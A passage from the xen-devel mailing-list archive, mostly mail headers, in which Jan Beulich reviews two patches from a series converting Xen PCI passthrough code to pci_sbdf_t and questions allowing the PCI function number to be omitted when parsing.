 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:45:04 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so30507575e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:45:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0fbd355sm57963835e9.13.2026.07.07.08.45.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:45:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783439104; x=1784043904; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wXGzJqsuRB8BDf5MUOhM/WxvKR8rxqqiqAclH6WdDrc=;
        b=YKGh3Q2bJXcOANEBcBhskRTZPUGWPyL2QSwA0eyBaHw2D3tjLVlO5eVuP2HIyZ1TNo
         Hc8OYnVuollP3pdZM4pU/T6x1b38Cw6QQ9wCLgNLjLGt9q9GEmqjOjMcN9WL76YDozBR
         A+uj6n+vBo0xtNKHEHRtK66vrIIPt+jfYs622Xr6GffhhLOSQNJht9FHDVcYOsiKbAOL
         bxoRFzVP2Sbshza0Sbt1gDk0yDu+iSnC60Ji/5MS3vRlqDIKZtDDCIEUjP92lI0ArvHc
         9qqd8u4h1lfF5bbNHFgMhVf4NA3GYwoX9ETLvPnfNtEUUWZrttspypKSFh9kOa4d2pu8
         kyMw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783439104; x=1784043904;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=wXGzJqsuRB8BDf5MUOhM/WxvKR8rxqqiqAclH6WdDrc=;
        b=n3bdfjuyCoqck15EGV3CqELHSRV+c2FMlkxAPWCL2d3YLskLSaw+dSafIzHlvtBjCy
         1MP4pfY/Z/pP5Gual3T95p4racL6uZqfz3zTWxnoWxKI5UB3Jh7kX8hxq6GMu9hZbvBY
         uJRdmmqgzZWWq8I8FJXNnif4CRZgPFezVj65QaDL7yIdVITsnUBDX/VqfgyOeuShWECc
         ubBIPPYofXo4Mm4Zh2gOsf4D9KNTpnIhvJG7bJiyq6CXcCNdyinopNFeOX7gHU2Y1ybb
         EvEfJpL0VkbG4c6+nOsZMD2HYSVS/vMd075T/ocppixBgBI4VqfRTQUFjLNYRvZI3QjS
         kKdw==
X-Forwarded-Encrypted: i=1; AHgh+Rr9BgenlaqGfvXZvE5tlNnaQVvfrgmAd8rVtB7vFumjejEdA2FtdELEI7ubUSZCNf+8eaa0+s4JhuQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwuBLGTUW796yZZvTXuRgAk85CbQDzoxrffBDPdStDMVDUvnPnx
	HO4X3wv+pBZC1gId5S8ijokWfeJMSBbU+azP8G7CHXg3PEqdOTdggmAk8thoN+hU9w==
X-Gm-Gg: AfdE7cmN2me+7ynFl8df9PT3lsMkRpW3vs353g3bnUMWPqK2nDCbOV8HOn9Arj/AiUk
	7db9/xYR+yY7M4Sfi6gkVw+/9SDZJWB40gi9+l2hlD5Ur3KWZDbeN7EMewZV4/6ZtyTE/1wNR+k
	OGz3xLnxnYiZbiQzFig7B5EAPu9WIJ1mouYVv0dxuNmqWf4w2EPSJSruFK+wteAE59csegbG4JJ
	O+9AJ/LbaaxpfNcRyG9z76HFJHduEGgTuCI7ZDLx3xciBQTLGYwqk/6ukg3DT5SJNIEfa5yLHTj
	FjNl6ng3v8Atx0JssUxK/pp/x6YekYEcFf1GWyJXRV/EYVgL/lxVAhwrjVfLm6wSV8C/TgDqATY
	e4dXOvVbvNxOBR7jmKaJq+tcDv6AvXwS6UXFcY8jf4CUiyGsysXumiYA1U13I47xV/QKyIWL9wC
	OPvYERWTVviWOh6lKyA1bY+XQ42Eh+/16pNnn1OzSZF9869q5OrY4e5Edk7OxmMaZz1ka1YWPAH
	nxmRGbovvwq6eA=
X-Received: by 2002:a05:600c:c171:b0:493:c6ed:a044 with SMTP id 5b1f17b1804b1-493df076cbfmr61636835e9.34.1783439104015;
        Tue, 07 Jul 2026 08:45:04 -0700 (PDT)
Message-ID: <9f664356-2cd4-46b7-a4f4-807dfdc468e7@suse.com>
Date: Tue, 7 Jul 2026 17:45:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 14/18] pci: Use pci_sbdf_t in _scan_pci_devices
To: Teddy Astie <teddy.astie@vates.tech>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753821.8631fc262581453bbf619ec5b2062170.19f146882fe000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753821.8631fc262581453bbf619ec5b2062170.19f146882fe000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783439104-808D01E0-DBA74808/0/0
X-purgate-type: clean
X-purgate-size: 592

On 29.06.2026 19:21, Teddy Astie wrote:
> --- a/xen/drivers/passthrough/pci.c
> +++ b/xen/drivers/passthrough/pci.c
> @@ -1218,6 +1218,8 @@ static int __init cf_check _scan_pci_devices(struct pci_seg *pseg, void *arg)
>          {
>              for ( func = 0; func < 8; func++ )
>              {
> +                pci_sbdf_t sbdf = PCI_SBDF(pseg->nr, bus, dev, func);
> +
>                  if ( !pci_device_detect(PCI_SBDF(pseg->nr, bus, dev, func)) )

Why don't you use the new variable right here? With that also converted:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:48:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:48:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356380.1611017 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh82F-000628-5F; Tue, 07 Jul 2026 15:48:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356380.1611017; Tue, 07 Jul 2026 15:48:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh82F-000621-2A; Tue, 07 Jul 2026 15:48:35 +0000
Received: by outflank-mailman (input) for mailman id 1356380;
 Tue, 07 Jul 2026 15:48:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh82E-00061v-BJ
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:48:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh82D-006mZF-0d
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:48:33 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1fac-2eae-0a2a0a5409dd-0a2a4501e948-46
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:48:32 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1fd0-400f-0a2a45010019-d1558031c9c7-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:48:32 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so15317625e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:48:32 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e01e658asm44553165e9.1.2026.07.07.08.48.30
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:48:31 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783439312; x=1784044112; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ZdyCUM9vDDrRDYXxbHjr0qUoUhN/TW16J1gwhKax+a0=;
        b=SeiIE14804jDpMSSBIZuggD0chg1OLG6uHIsh3bJ+VBh6lfyWzFAkgq8mRBiM8C4Xw
         JaXoDSmeSK7Nkk2vYwZ0msbW7+f33F3687nIh6LX0HLvk/B7dyvDj+AUbqJUs8Ez0qK1
         lyMRkjbycMEE8nc3xRbv+rThBCe+AUYwABA4NLUKDte05baOPOUV3uuYh/xWUxBK7ibs
         EEsbZpX71xPqBf3M43wTUVpnbKZmq7PynRfpWyN/8KTeqjlz6nEKF/0mJWw9r/KXz8GJ
         iG4j8RUhjG1M0vYdoiPRD7wumkMa70miaXyxBlVLoQjh2GOQi0iJsvlV/dG6FaykZFZw
         UGLA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783439312; x=1784044112;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZdyCUM9vDDrRDYXxbHjr0qUoUhN/TW16J1gwhKax+a0=;
        b=GP/srv2YAYjgrHuxdf8MU3juR73YCRmXjeHf3OZteBGvZiyOKrQtkfv9iLgJN1yqYd
         vrhp+GDN3O8zFDVbS4y1re/0IJOSKIp4Hutu+UcRhIpBZ4/8t4VE++3ZQB/4SslpXTSB
         on8ITx2VysC/pRXWzUkFT87xKaJ83FSkQIPygiR3pyJqfiDJL1AVXu3lFm3l81wjSF0a
         kEotuFlwl3apLyNVkHf8l7PGKH1vMGsw6d32AFPG8aI2JbzalC98dS8A3IG8d466cPX3
         3ze9cnbY/cUXnpJfjc2u6Y3WPVCrE9P35aIRiauDXlV6ody9ewB84u0VZyKKyOCu5hgS
         aR0A==
X-Forwarded-Encrypted: i=1; AHgh+RoeGMRyGsJsPIn0cVmSAYI1vSPBhQJ41cD8Du5cpoz1oojgcP/FmEO5o+5GNyv9kQiL+NXPKEHzrjk=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz4dMkA4QMRJaBwzde4/HW179mzoxtXFeqWTo4Cr7ph3IvxKT3u
	Fpa4HDBnTKoMaiBwHrzubqy8X/nCXEZZLPlgjCoKMazg9kTz3D3OrtYyI9M8Fe1nQA==
X-Gm-Gg: AfdE7cnH33CNY4rbazJcQkyp8FQbU4512rF1oFSFh/oK05IuTa/BeZfD2zmbmjIbx8u
	usnDujBamQEuYCvhpFjaNR/IjWfzNJPTqzowtec/cTbA7E6pIE8NCdMeOy4gi2A1ppYwCZyHDdJ
	uEd634/+NENEpLPzR1c6Dxl204+RXsCIvUuXKOApdTnueGTJW2jN3ZfWjrIgeWgx9Dl2FmbSi/Y
	5kDEhiUblhwPUHt5Q2y4vQ4MvYrKtWgQJtxWlWLqaxoCvxJsClqTrxxlAVpPE+helJbHELdAkhX
	RR+T9G0QKF80tsNpsBY3Z2cINpH2XujeUo0+J2adWBnQolVpNzBuQkM1mhB3ZPLIYWCY7oGZNie
	huG/kaAf0zKuR8heThSCp45zS5PkTEG0y0nZhHm0IuMhmkpq9YvW8V9Lzwt7bmsT0ZjzXMTxcIt
	p+tXHecRIk83eG/ZA3C4WCJmW3wF0ufJFRorKk26GL+pBJVGS9MgASjLax5flzhcVhiu50OeWSL
	j43
X-Received: by 2002:a05:600c:350a:b0:492:e5a5:5a46 with SMTP id 5b1f17b1804b1-493df080753mr61329815e9.35.1783439311823;
        Tue, 07 Jul 2026 08:48:31 -0700 (PDT)
Message-ID: <8d309bc7-a972-4abe-a6d3-9de004ddd627@suse.com>
Date: Tue, 7 Jul 2026 17:48:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 15/18] pci: Allow ommiting func when parsing with
 parse_pci_sbdf()
To: Teddy Astie <teddy.astie@vates.tech>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753822.8631fc262581453bbf619ec5b2062170.19f146885bb000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753822.8631fc262581453bbf619ec5b2062170.19f146885bb000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783439312-D14DD1E0-F5D82E49/0/0
X-purgate-type: clean
X-purgate-size: 365

On 29.06.2026 19:21, Teddy Astie wrote:
> Allow parsing PCI SBDF with the function part omitted (i.e XXXX:YY:ZZ),
> in such case, the parsed PCI function is zero.
> 
> Then use pci_sbdf_t variant of parse_pci() in parse_phantom_dev().

But you allow it to be omitted everywhere. I don't think we want people to
omit the .0 when they mean function 0.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:56:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:56:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356389.1611025 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh89c-0007bg-S7; Tue, 07 Jul 2026 15:56:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356389.1611025; Tue, 07 Jul 2026 15:56:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh89c-0007bZ-PO; Tue, 07 Jul 2026 15:56:12 +0000
Received: by outflank-mailman (input) for mailman id 1356389;
 Tue, 07 Jul 2026 15:56:11 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh89b-0007bT-51
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:56:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh89a-004nBN-D7
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:56:10 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d217f-2eae-0a2a0a5409dd-0a2a450a9280-42
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:56:10 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d219a-e40e-0a2a450a0019-d1558030d558-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:56:10 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so29069675e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:56:10 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0960634sm36272555f8f.26.2026.07.07.08.56.08
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:56:09 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783439770; x=1784044570; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=PrrGB8wokcEXn1q4hh7rH5X9oqZWe7NmfRo/YeCUTvU=;
        b=gUzsC19OkcHoVAebXnw40dVy+3rwucPrasZbFBHN0FIkJefKcNHLfpwDn+Gb0QqllM
         W2kKWfWByA4Qe1/Iq52SZey7z05p3A7OEZquPXgPF9435D5OnTwD+HZjc6lVmzXwmqs8
         kab62a188mPdL8+tCqmmfkYbfxtxHclhyQXE4pwvPq+c5GAJxW2oE8quCYH3ulKAhY2z
         L1yU6Nu2OW98kTtyIMMlHP5fkP5PZhNERK8YNFurdBfCpu5FReIlOFQX9jw/p1ldsI9p
         T1V1tzywfyYNJxsahbNk+5tfl1E1bQ7r1Mcua6+pbMt7+gWCaGJnq0JbMT5R1i7/8Mo1
         +XmQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783439770; x=1784044570;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=PrrGB8wokcEXn1q4hh7rH5X9oqZWe7NmfRo/YeCUTvU=;
        b=qJDNo3cWsCk93txzSMYJijbGjLBlOEML86H1UPIeywJORCv8GCSNoeaSbKgDF4olMK
         BRgDR8DEE218AagAW8RQDA1kaP3B8uMtokkOnYUIF+3KOwcXC78ZF0AS/MBdZ10v75Wf
         aGxtUBN6nYYHBkZvrXRz7TEcSZhr6VHmB13o+L0K6FN1XQF/1A2ddGkDWapSJJQf+MoJ
         0z+LrgLmDL7kKuLo3M3hwDmyTk2crgkN8uE3YCcIlg2HtKYhMlAO5TBoDA17Mq7Tsxld
         tMVok4f0MPUxUEuml/9vJlQOa2HdGkhxrFz0SdSpa/+ihZTKrilPwpWKovoxc/SjE0G8
         iewg==
X-Forwarded-Encrypted: i=1; AHgh+RrV76CmfV7oPB9nPCYDo9tnF/s7FCF2E11n4BNbkgO/f29GnrWbXscydedeEauDhWDIH4dtVHVq4X0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YydFTSMlsuQo8EJ8uLTc5RDDAfPlqT8reanpy3jm/bYTpB4Yo/R
	j4iAcHkBkfIZeSI1RoR2wFcTSPLkxDmcScVqyOU5SXsu2Po5693pq+3F+w0tpuNCbQ==
X-Gm-Gg: AfdE7ckXa1Z09S5zHd1UdF3s0AceIC0rvDcEw3jttoiLIekskcpJk49by4EE3GkiR9M
	baxpsDuPxKVtabFPqzifLTFyP3vX6jQdO9+Eu7i7E9WcZ8yFffN4qH1/GQB0OZV3GTvnEcS2EQL
	iYyVDvZtx0kxEtCaO/AgP8ItDfuGZXuQgjkg8HHM1wD4G8/04GuFwx3eHO+elqtEHVN83eDUQ1V
	JzxIWxOt/qLzo8m+e7jVDnsnFbFgo9+auuVPEdljjq8GmKw2q25iIj32h3o4RpE6kO1TGMTq4bL
	nleUY52Fh4wzjNBE2/jGxr6Fj54IW3Q5JBp3eZN12Og+kbXrucpIHCl9paKpdzoDsJM8bT/KumG
	qvgW87rOVgvD5vznm4AvmC2lgCKKn6+xnuH1c4Jx8Ptcjh0ibJCEw349ykodHOmSZM5ounFU2yw
	9yPU+aWYN8CFzgoov+Zeloz45oimtX3nmXiaV0pO6DEiZBFxb9bilS3inCwktZ3TZ8BuZgy60th
	qIM
X-Received: by 2002:a05:600c:6092:b0:493:e52f:6ee1 with SMTP id 5b1f17b1804b1-493e52f7199mr2554335e9.0.1783439769782;
        Tue, 07 Jul 2026 08:56:09 -0700 (PDT)
